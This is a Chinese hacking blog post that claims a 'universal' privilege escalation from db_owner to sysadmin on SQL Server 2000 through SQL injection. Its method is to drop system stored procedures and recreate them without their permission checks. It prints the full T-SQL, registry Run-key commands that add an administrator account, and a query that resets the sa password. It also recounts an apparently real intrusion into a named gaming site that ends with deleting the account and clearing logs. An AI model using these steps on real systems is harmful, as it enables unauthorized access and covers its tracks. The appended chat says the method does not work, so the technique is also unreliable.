来自教主blog
声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为
发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性仍然很
大,所以请大家不要对国内的站点做任何具有破坏性的操作。
考虑再三,偶还是决定发出来。此招手段歹毒,利用范围广泛,可以说是只要是
有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢
把话说满,呵呵,经本人数百次真实“实战演习”,基本上是100%可以拿到
webshell甚至系统权限)。
记得我在《MSSQLdb_owner角色注入直接获得系统权限(续)》中写过一种
利用xp_regwrite来取得系统权限的方法:xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','x
wq1','REG_SZ','netuserxwqxwq/add'
xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','x
wq2','REG_SZ','netlocalgroupadministratorsxwq/add',只要让网站所在
的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不
太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发
动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(
除非是你十分想要搞定的网站)。
呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大
必杀技之一————万能提权。
假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权
限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿
到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,
sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只
会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都
已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系
统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说
backupashell,我记得LCX也在《MSSQLdb_owner角色注入直接获得系统权限》
里说过拉“备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,
你还能用它吗?”呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权
限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议
,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)
呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这
就把我的三大必杀技之一————万能提升权限方法告诉大家。
在告诉大家之前,我们先做个实验
实验环境windowsxpsp1+SQL2000sp3,大家跟着我来steptostep,首先新
建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都
不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq
连上后再里面输入sp_addloginxuwenqiang,执行看看,出现拉什么?
服务器:消息2571,级别14,状态2,过程sp_addlogin,行16
用户'xwq'没有运行DBCCauditevent的权限。
服务器:消息15247,级别16,状态1,过程sp_addlogin,行17
用户没有执行此操作的权限。
呵呵,出现上面的错误信息这很正常,因为只有sysadmin和securityadmin固
定服务器角色的成员才可以执行sp_addlogin,那么怎么才好让sp_addlogin为我
所用呢?我们在这里看一下sp_addlogin的代码:
createproceduresp_addlogin
@loginamesysname
,@passwdsysname=Null
,@defdb;;sysname='master'--UNDONE:DEFAULT
CONFIGURABLE???
,@deflanguagesysname=Null
,@sidvarbinary(16)=Null
,@encryptoptvarchar(20)=Null
AS
--SETUPRUNTIMEOPTIONS/DECLAREVARIABLES--
setnocounton
Declare@retint--returnvalueofspcall
--CHECKPERMISSIONS--
IF(notis_srvrolemember('securityadmin')=1)
begin
dbccauditevent(104,1,0,@loginame,NULL,NULL,@sid)
raiserror(15247,-1,-1)
return(1)
end
ELSE
begin
dbccauditevent(104,1,1,@loginame,NULL,NULL,@sid)
end
--DISALLOWUSERTRANSACTION--
setimplicit_transactionsoff
IF(@@trancount>0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return(1)
end
--VALIDATELOGINNAMEAS:
--(1)ValidSQLName(SQLLOGIN)
--(2)Nobackslash(NTusersonly)
--(3)Notareservedloginname
execute@ret=sp_validname@loginame
if(@ret<>0)
return(1)
if(charindex('\',@loginame)>0)
begin
raiserror(15006,-1,-1,@loginame)
return(1)
end
--Note:differentcasesaisallowed.
if(@loginame='sa'orlower(@loginame)in('public'))
begin
raiserror(15405,-1,-1,@loginame)
return(1)
end
--LOGINNAMEMUSTNOTALREADYEXIST--
ifexists(select*frommaster.dbo.sysloginswhereloginname=
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return(1)
end
--VALIDATEDEFAULTDATABASE--
IFdb_id(@defdb)ISNULL
begin
raiserror(15010,-1,-1,@defdb)
return(1)
end
--VALIDATEDEFAULTLANGUAGE--
IF(@deflanguageISNOTNull)
begin
Execute@ret=sp_validlang@deflanguage
IF(@ret<>0)
return(1)
end
ELSE
begin
select@deflanguage=namefrommaster.dbo.syslanguages
wherelangid=@@default_langid--serverdefault
language
if@deflanguageisnull
select@deflanguage=N'us_english'
end
--VALIDATESIDIFGIVEN--
if((@sidISNOTNull)and(datalength(@sid)<>16))
begin
raiserror(15419,-1,-1)
return(1)
end
elseif@sidisnull
select@sid=newid()
if(suser_sname(@sid)ISNOTNull)
begin
raiserror(15433,-1,-1)
return(1)
end
--VALIDATEANDUSEENCRYPTIONOPTION--
declare@xstatussmallint
select@xstatus=2--access
if@encryptoptisnull
select@passwd=pwdencrypt(@passwd)
elseif@encryptopt='skip_encryption_old'
begin
select@xstatus=@xstatus|0x800,--old-style
encryption
@passwd=convert(sysname,convert(varbinary
(30),convert(varchar(30),@passwd)))
end
elseif@encryptopt<>'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return1
end
--ATTEMPTTHEINSERTOFTHENEWLOGIN--
INSERTINTOmaster.dbo.sysxloginsVALUES
(NULL,@sid,@xstatus,getdate(),
getdate(),@loginame,convert(varbinary(256),@passwd),
db_id(@defdb),@deflanguage)
if@@error<>0--thisindicateswesawduplicaterow
return(1)
--UPDATEPROTECTIONTIMESTAMPFORMASTERDB,TOINDICATE
SYSLOGINSCHANGE--
exec('usemastergrantalltonull')
--FINALIZATION:RETURNSUCCESS/FAILURE--
raiserror(15298,-1,-1)
return(0)--sp_addlogin
GO
之所以只有sysadmin和securityadmin固定服务器角色的成员才可以执行
sp_addlogin,主要是这里一段再搞鬼
--CHECKPERMISSIONS--
IF(notis_srvrolemember('securityadmin')=1)
begin
dbccauditevent(104,1,0,@loginame,NULL,NULL,@sid)
raiserror(15247,-1,-1)
return(1)
end
ELSE
begin
dbccauditevent(104,1,1,@loginame,NULL,NULL,@sid)
end
只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。
好,我们先把sp_addlogin删拉
dropproceduresp_addlogin
然后再来恢复sp_addlogin
createproceduresp_addlogin
@loginamesysname
,@passwdsysname=Null
,@defdb;;sysname='master'--UNDONE:DEFAULT
CONFIGURABLE???
,@deflanguagesysname=Null
,@sidvarbinary(16)=Null
,@encryptoptvarchar(20)=Null
AS
--SETUPRUNTIMEOPTIONS/DECLAREVARIABLES--
setnocounton
Declare@retint--returnvalueofspcall
--DISALLOWUSERTRANSACTION--
setimplicit_transactionsoff
IF(@@trancount>0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return(1)
end
--VALIDATELOGINNAMEAS:
--(1)ValidSQLName(SQLLOGIN)
--(2)Nobackslash(NTusersonly)
--(3)Notareservedloginname
execute@ret=sp_validname@loginame
if(@ret<>0)
return(1)
if(charindex('\',@loginame)>0)
begin
raiserror(15006,-1,-1,@loginame)
return(1)
end
--Note:differentcasesaisallowed.
if(@loginame='sa'orlower(@loginame)in('public'))
begin
raiserror(15405,-1,-1,@loginame)
return(1)
end
--LOGINNAMEMUSTNOTALREADYEXIST--
ifexists(select*frommaster.dbo.sysloginswhereloginname=
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return(1)
end
--VALIDATEDEFAULTDATABASE--
IFdb_id(@defdb)ISNULL
begin
raiserror(15010,-1,-1,@defdb)
return(1)
end
--VALIDATEDEFAULTLANGUAGE--
IF(@deflanguageISNOTNull)
begin
Execute@ret=sp_validlang@deflanguage
IF(@ret<>0)
return(1)
end
ELSE
begin
select@deflanguage=namefrommaster.dbo.syslanguages
wherelangid=@@default_langid--serverdefault
language
if@deflanguageisnull
select@deflanguage=N'us_english'
end
--VALIDATESIDIFGIVEN--
if((@sidISNOTNull)and(datalength(@sid)<>16))
begin
raiserror(15419,-1,-1)
return(1)
end
elseif@sidisnull
select@sid=newid()
if(suser_sname(@sid)ISNOTNull)
begin
raiserror(15433,-1,-1)
return(1)
end
--VALIDATEANDUSEENCRYPTIONOPTION--
declare@xstatussmallint
select@xstatus=2--access
if@encryptoptisnull
select@passwd=pwdencrypt(@passwd)
elseif@encryptopt='skip_encryption_old'
begin
select@xstatus=@xstatus|0x800,--old-style
encryption
@passwd=convert(sysname,convert(varbinary
(30),convert(varchar(30),@passwd)))
end
elseif@encryptopt<>'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return1
end
--ATTEMPTTHEINSERTOFTHENEWLOGIN--
INSERTINTOmaster.dbo.sysxloginsVALUES
(NULL,@sid,@xstatus,getdate(),
getdate(),@loginame,convert(varbinary(256),@passwd),
db_id(@defdb),@deflanguage)
if@@error<>0--thisindicateswesawduplicaterow
return(1)
--UPDATEPROTECTIONTIMESTAMPFORMASTERDB,TOINDICATE
SYSLOGINSCHANGE--
exec('usemastergrantalltonull')
--FINALIZATION:RETURNSUCCESS/FAILURE--
raiserror(15298,-1,-1)
return(0)--sp_addlogin
GO
这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器
里面在输入sp_addloginxuwenqiang,执行看看,GOOD!返回已创建新登录。
我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具
有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变
成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的
用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么
让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让
sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的
一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码
:createproceduresp_addsrvrolemember
@loginamesysname,--loginname
@rolenamesysname=NULL--serverrolename
as
--SETUPRUNTIMEOPTIONS/DECLAREVARIABLES--
setnocounton
declare@retint,--returnvalueofspcall
@rolebitsmallint,
@ismemint
--DISALLOWUSERTRANSACTION--
setimplicit_transactionsoff
IF(@@trancount>0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return(1)
end
--VALIDATESERVERROLENAME,CHECKINGPERMISSIONS--
select@ismem=is_srvrolemember(@rolename)
if@ismemisnull
begin
dbccauditevent(108,1,0,@loginame,NULL,@rolename,
NULL)
raiserror(15402,-1,-1,@rolename)
return(1)
end
if@ismem=0
begin
dbccauditevent(108,1,0,@loginame,NULL,@rolename,
NULL)
raiserror(15247,-1,-1)
return(1)
end
--AUDITASUCCESSFULSECURITYCHECK--
dbccauditevent(108,1,1,@loginame,NULL,@rolename,NULL)
--CANNOTCHANGESAROLES--
if@loginame='sa'
begin
raiserror(15405,-1,-1,@loginame)
return(1)
end
--OBTAINTHEBITFORTHISROLE--
select@rolebit=CASE@rolename
WHEN'sysadmin'THEN16
WHEN'securityadmin'THEN32
WHEN'serveradmin'THEN64
WHEN'setupadmin'THEN128
WHEN'processadmin'THEN256
WHEN'diskadmin'THEN512
WHEN'dbcreator'THEN1024
WHEN'bulkadmin'THEN4096
ELSENULLEND
--ADDROWFORNTLOGINIFNEEDED--
ifnotexists(select*frommaster.dbo.sysloginswhere
loginname=@loginame)
begin
execute@ret=sp_MSaddlogin_implicit_ntlogin@loginame
if(@ret<>0)
begin
raiserror(15007,-1,-1,@loginame)
return(1)
end
end
--UPDATEROLEMEMBERSHIP--
updatemaster.dbo.sysxloginssetxstatus=xstatus|@rolebit,
xdate2=getdate()
wherename=@loginameandsrvidISNULL
--UPDATEPROTECTIONTIMESTAMPFORMASTERDB,TOINDICATE
SYSLOGINSCHANGE--
exec('usemastergrantalltonull')
raiserror(15488,-1,-1,@loginame,@rolename)
--FINALIZATION:RETURNSUCCESS/FAILURE
return(@@error)--sp_addsrvrolemember
GO
把这一段删除--VALIDATESERVERROLENAME,CHECKINGPERMISSIONS--
select@ismem=is_srvrolemember(@rolename)
if@ismemisnull
begin
dbccauditevent(108,1,0,@loginame,NULL,@rolename,
NULL)
raiserror(15402,-1,-1,@rolename)
return(1)
end
if@ismem=0
begin
dbccauditevent(108,1,0,@loginame,NULL,@rolename,
NULL)
raiserror(15247,-1,-1)
return(1)
end
这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入
sp_addsrvrolememberxuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就
成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限
,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或
者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和
sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程
,利用我的万能提权必杀技,我们都可以使用。比如:sp-
configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很
多只好sysadmin权限能利用的,我们都可以让他们为我所用。
下面再举一个万能提权的例子
和我一起打造一个永远不会被杀及完美的后门
我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa是内置的管理员
登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一
篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可
以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才
可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实
也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配
置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予sysadmin
和serveradmin固定服务器角色。这很容易只要把sp_configure中检查权限的一
段删除,再重建,我们就好用拉。
CREATEPROCEDUREsp_configure---1996/08/1409:43
@confignamevarchar(35)=NULL--optionnametoconfigure
,@configvalueint=NULL--newconfigurationvalue
as
setnocounton
declare
@confignumint--Numoftheopttobeconfigured
,@configcountint--Numofoptionslike@configname
,@show_advanceint--Y/NRead&Writeactionson
"advanced"opts
declare@fullconfignamevarchar(35)
declare@prevvalueint
/*
**Determine@maxnumberbasedonadvanceoptioninsyscurconfigs.
*/
if(selectvaluefrommaster.dbo.syscurconfigswhereconfig=518)=1
select@show_advance=1--Displayadvancedoptions
else
select@show_advance=0--Don'tdisplayadvancedoptions
/*
**Makecertainthatmaxuserinfo.reflectsanyaddpakupgrades.
*/
if(selecthighfrommaster.dbo.spt_valueswherenumber=103and
type='C')
<>@@max_connections
updatemaster.dbo.spt_values
sethigh=@@max_connections
wherenumber=103
andtype='C'
/*
**Ifnooptionnameisgiven,theprocedurewilljustprintoutall
the
**optionsandtheirvalues.
*/
if@confignameisNULL
begin
selectname,minimum=low,maximum=high,
config_value=c.value,
run_value=master.dbo.syscurconfigs.value
frommaster.dbo.spt_values,master.dbo.sysconfiguresc,
master.dbo.syscurconfigs
wheretype='C'
andnumber=c.config
andnumber=master.dbo.syscurconfigs.config
and
((c.status&2<>0and@show_advance=1)
OR
(c.status&2=0)
)
orderbylower(name)
return(0)
end
/*
**Use@confignameandtrytofindtherightoption.
**Ifthereisn'tjustone,printappropriatediagnosticsandreturn.
*/
select@configcount=count(*),@fullconfigname=min(v.name),
@prevvalue=min(c.value)
frommaster.dbo.spt_valuesv,master.dbo.sysconfiguresc
wherev.namelike'%'+@configname+'%'andv.type='C'
andv.number=c.config
and
((c.status&2<>0and@show_advance=1)
OR
(c.status&2=0)
)
/*
**Ifnooption,showtheuserwhattheoptionsare.
*/
if@configcount=0
begin
raiserror(15123,-1,-1,@configname)
print''
raiserror(15456,-1,-1)
/*
**Showtheuserwhattheoptionsare.
*/
selectname,minimum=low,maximum=high,
config_value=c.value,
run_value=master.dbo.syscurconfigs.value
frommaster.dbo.spt_values,master.dbo.sysconfiguresc,
master.dbo.syscurconfigs
wheretype='C'
andnumber=c.config
andnumber=master.dbo.syscurconfigs.config
and
((c.status&2<>0and@show_advance=1)
OR
(c.status&2=0)
)
return(1)
end
/*
**Ifmorethanoneoptionlike@configname,showtheduplicatesand
return.
*/
if@configcount>1
begin
raiserror(15124,-1,-1,@configname)
print''
selectduplicate_options=name
frommaster.dbo.spt_values,master.dbo.sysconfiguresc
wherenamelike'%'+@configname+'%'
andtype='C'
andnumber=c.config
and
((c.status&2<>0and@show_advance=1)
OR
(c.status&2=0)
)
return(1)
end
else
/*Theremustbeexactlyone,sogetthefullname.*/
select@configname=name--,@value_in_sysconfigures=c.value
frommaster.dbo.spt_values,master.dbo.sysconfiguresc
wherenamelike'%'+@configname+'%'andtype='C'
andnumber=c.config
and
((c.status&2<>0and@show_advance=1)
OR
(c.status&2=0)
)
/*
**If@configvalueisNULL,justshowthecurrentstateoftheoption.
*/
if@configvalueisnull
begin
selectv.name
,v.lowas'minimum'
,v.highas'maximum'
,c.valueas'config_value'
,u.valueas'run_value'
from
master.dbo.spt_valuesvleftouterjoin
master.dbo.sysconfiguresconv.number=c.config
leftouterjoin
master.dbo.syscurconfigsuonv.number=u.config
where
v.type='C'
andv.namelike'%'+@configname+'%'
and
((c.status&2<>0and@show_advance=1)
OR
(c.status&2=0)
)
return(0)
end
/*
**Nowgettheconfigurationnumber.
*/
select@confignum=number
frommaster.dbo.spt_values,master.dbo.sysconfiguresc
wheretype='C'
and(@configvaluebetweenlowandhighor@configvalue=0)
andnamelike'%'+@configname+'%'
andnumber=c.config
and
((c.status&2<>0and@show_advance=1)
OR
(c.status&2=0)
)
/*
**Ifthisisthenumberofdefaultlanguage,wewanttomakesure
**thatthenewvalueisavalidlanguageidinSyslanguages.
*/
if@confignum=124
begin
ifnotexists(select*frommaster.dbo.syslanguages
wherelangid=@configvalue)
begin
/*0isdefaultlanguage,us_english*/
if@configvalue<>0
begin
raiserror(15127,-1,-1)
return(1)
end
end
end
/*
**Ifthisisthenumberofkernellanguage,wewanttomakesure
**thatthenewvalueisavalidlanguageidinSyslanguages.
*/
if@confignum=132
begin
ifnotexists(select*frommaster.dbo.syslanguages
wherelangid=@configvalue)
begin
/*0isdefaultlanguage,us_english*/
if@configvalue<>0
begin
raiserror(15028,-1,-1)
return(1)
end
end
end
/*
**"useroptions"shouldnottrytosetincompatibleoptions/values.
*/
if@confignum=1534--"useroptions"
begin
if(@configvalue&(1024+2048)=(1024+2048))--
ansi_null_default_on/off
begin
raiserror(15303,-1,-1,@configvalue)
return(1)
end
end
/*
**Althoughthe@confignameisgood,@configvaluewasn'tinrange.
*/
if@confignumisNULL
begin
raiserror(15129,-1,-1,@configvalue,@configname)
return(1)
end
--Msg15002,butin6.5allowthisinsideatxn(notcheck@@trancount)
#12828.
/*
**Nowupdatesysconfigures.
*/
updatemaster.dbo.sysconfiguressetvalue=@configvalue
whereconfig=@confignum
/*
**Flushtheprocedurecache-thisistoaccountforoptionswhich
become
**effectiveimmediately(ie.dontneedaserverrestart).
*/
dbccfreeproccache
raiserror(15457,-1,-1,@fullconfigname,@prevvalue,@configvalue)with
log
return(0)--sp_configure
GO
ok,我们再
sp_configure'allowupdates',1
go
RECONFIGUREWITHOVERRIDE
go
好拉这样我们才好更改sa的密码。接着updatesysxloginsset
password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50C
BB30267F53B9451B7189CA67AF19A1FCwheresid=0x01,这样sa的密码就被我们改
成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完
全删除sa这个后门》。
实例:
下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行
一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com。
www.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候)
,在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测
试可真花费拉我不少时间,别误会,我不是说时间花在“检测”上,而是都放在
写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分
钟不到)。
在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能
要轻松不少),先输入dropproceduresp_addlogin,然后在IE里面输入(呵呵,
我当然是在我写的程序里面输入拉)
createproceduresp_addlogin
@loginamesysname
,@passwdsysname=Null
,@defdb;;sysname='master'--UNDONE:DEFAULT
CONFIGURABLE???
,@deflanguagesysname=Null
,@sidvarbinary(16)=Null
,@encryptoptvarchar(20)=Null
AS
--SETUPRUNTIMEOPTIONS/DECLAREVARIABLES--
setnocounton
Declare@retint--returnvalueofspcall
--DISALLOWUSERTRANSACTION--
setimplicit_transactionsoff
IF(@@trancount>0)
begin
raiserror(15002,-1,-1,'sp_addlogin')
return(1)
end
--VALIDATELOGINNAMEAS:
--(1)ValidSQLName(SQLLOGIN)
--(2)Nobackslash(NTusersonly)
--(3)Notareservedloginname
execute@ret=sp_validname@loginame
if(@ret<>0)
return(1)
if(charindex('\',@loginame)>0)
begin
raiserror(15006,-1,-1,@loginame)
return(1)
end
--Note:differentcasesaisallowed.
if(@loginame='sa'orlower(@loginame)in('public'))
begin
raiserror(15405,-1,-1,@loginame)
return(1)
end
--LOGINNAMEMUSTNOTALREADYEXIST--
ifexists(select*frommaster.dbo.sysloginswhereloginname=
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return(1)
end
--VALIDATEDEFAULTDATABASE--
IFdb_id(@defdb)ISNULL
begin
raiserror(15010,-1,-1,@defdb)
return(1)
end
--VALIDATEDEFAULTLANGUAGE--
IF(@deflanguageISNOTNull)
begin
Execute@ret=sp_validlang@deflanguage
IF(@ret<>0)
return(1)
end
ELSE
begin
select@deflanguage=namefrommaster.dbo.syslanguages
wherelangid=@@default_langid--serverdefault
language
if@deflanguageisnull
select@deflanguage=N'us_english'
end
--VALIDATESIDIFGIVEN--
if((@sidISNOTNull)and(datalength(@sid)<>16))
begin
raiserror(15419,-1,-1)
return(1)
end
elseif@sidisnull
select@sid=newid()
if(suser_sname(@sid)ISNOTNull)
begin
raiserror(15433,-1,-1)
return(1)
end
--VALIDATEANDUSEENCRYPTIONOPTION--
declare@xstatussmallint
select@xstatus=2--access
if@encryptoptisnull
select@passwd=pwdencrypt(@passwd)
elseif@encryptopt='skip_encryption_old'
begin
select@xstatus=@xstatus|0x800,--old-style
encryption
@passwd=convert(sysname,convert(varbinary
(30),convert(varchar(30),@passwd)))
end
elseif@encryptopt<>'skip_encryption'
begin
raiserror(15600,-1,-1,'sp_addlogin')
return1
end
--ATTEMPTTHEINSERTOFTHENEWLOGIN--
INSERTINTOmaster.dbo.sysxloginsVALUES
(NULL,@sid,@xstatus,getdate(),
getdate(),@loginame,convert(varbinary(256),@passwd),
db_id(@defdb),@deflanguage)
if@@error<>0--thisindicateswesawduplicaterow
return(1)
--UPDATEPROTECTIONTIMESTAMPFORMASTERDB,TOINDICATE
SYSLOGINSCHANGE--
exec('usemastergrantalltonull')
--FINALIZATION:RETURNSUCCESS/FAILURE--
raiserror(15298,-1,-1)
return(0)--sp_addlogin
GO
OK,我们新建个用户execmaster..sp_addloginxwq
再dropproceduresp_addsrvrolemember,然后在IE里输入
createproceduresp_addsrvrolemember
@loginamesysname,--loginname
@rolenamesysname=NULL--serverrolename
as
--SETUPRUNTIMEOPTIONS/DECLAREVARIABLES--
setnocounton
declare@retint,--returnvalueofspcall
@rolebitsmallint,
@ismemint
--DISALLOWUSERTRANSACTION--
setimplicit_transactionsoff
IF(@@trancount>0)
begin
raiserror(15002,-1,-1,'sp_addsrvrolemember')
return(1)
end
--CANNOTCHANGESAROLES--
if@loginame='sa'
begin
raiserror(15405,-1,-1,@loginame)
return(1)
end
--OBTAINTHEBITFORTHISROLE--
select@rolebit=CASE@rolename
WHEN'sysadmin'THEN16
WHEN'securityadmin'THEN32
WHEN'serveradmin'THEN64
WHEN'setupadmin'THEN128
WHEN'processadmin'THEN256
WHEN'diskadmin'THEN512
WHEN'dbcreator'THEN1024
WHEN'bulkadmin'THEN4096
ELSENULLEND
--ADDROWFORNTLOGINIFNEEDED--
ifnotexists(select*frommaster.dbo.sysloginswhere
loginname=@loginame)
begin
execute@ret=sp_MSaddlogin_implicit_ntlogin@loginame
if(@ret<>0)
begin
raiserror(15007,-1,-1,@loginame)
return(1)
end
end
--UPDATEROLEMEMBERSHIP--
updatemaster.dbo.sysxloginssetxstatus=xstatus|@rolebit,
xdate2=getdate()
wherename=@loginameandsrvidISNULL
--UPDATEPROTECTIONTIMESTAMPFORMASTERDB,TOINDICATE
SYSLOGINSCHANGE--
exec('usemastergrantalltonull')
raiserror(15488,-1,-1,@loginame,@rolename)
--FINALIZATION:RETURNSUCCESS/FAILURE
return(@@error)--sp_addsrvrolemember
GO
接着再execmaster..sp_addsrvrolememberxwq,sysadmin
我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在
www.**17173.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想
大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号
,清除日志,闪人。
看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,
无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能的提升
权限方法的确是有点夸张拉,因为CREATEPROCEDURE的权限默认授予sysadmin
固定服务器角色成员和db_owner和db_ddladmin固定数据库角色成员,你要是
碰到Public的权限,那就不好使用拉。
不过不要以为换成public权限,就没有办法拿到webshell或者系统权限拉,恰恰相
反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。
最好的防范方法就是杜绝注射漏洞,这才是治标又治本的解决方法。(呵呵,要
是我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色
拉,没办法谁叫public也可以利用很多有危险的存储过程呢,而且public无法除
去,看来M$对我们这些“坏人”还是很厚爱的哦)
后记
这篇文章是我自2004年4月份装上SQL以来利用课余时间学习研究的,12月初旬写
完,由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开
而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点
做任何具有破坏性的操作。
再这篇文章里我并没有提到public权限的用户怎么拿到webshell或者系统权限,
而据我所知public权限的用户拿到webshell甚至系统权限的方法至少5种(偶目前
只会5种,可能还有更多的方法,要是哪位高手会更多,希望能不吝赐教,偶先谢
拉),鉴于危害实在太太大,现在还不是公布这些关键技术细节的时候,等到拉
一个适当的时机,我会把我所掌握的知识无私奉献给大家再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。
---------------------------------------------
附xiaolu交流群里的xiaolu大师的分析结果:
-----------------------------------------------
xiaolu04:10:48
他里边说的没有能实现的
xiaolu04:10:58
说了等于白说
xiaolu04:11:11
他写这个文章有什么意义?
(-_-o)04:11:28
我和凯文也研究了半天不能实现的
极品704:11:38
算个思路了
xiaolu04:11:58
储存过程不是什么了不起的东西
xiaolu04:12:09
就是简化操作
极品704:12:15
路哥有思路吗
xiaolu04:12:37
如果你对这个对象没有权限用储存过程一样没
xiaolu04:13:12
sp_addlogin最关键的一句是
INSERTINTOmaster.dbo.sysxloginsVALUES
(NULL,@sid,@xstatus,getdate(),
getdate(),@loginame,convert(varbinary(256),@passwd),
db_id(@defdb),@deflanguage)
xiaolu04:13:32
整个可以简化成
INSERTINTOmaster.dbo.sysxloginsVALUES
(NULL,newid(),2,getdate(),
getdate(),'fengzi',convert(varbinary(256),pwdencrypt('123456')),
db_id('master'),'us_english')
xiaolu04:14:12
sysxlogins这个表DB_ownner是没权限写的
xiaolu04:14:16
也没权限读
(-_-o04:15:02
如果是真的是不是删减了很多细节
xiaolu04:17:11
regwritedbo也办不到
xiaolu04:17:36
难道他说的dbo是master的dbo?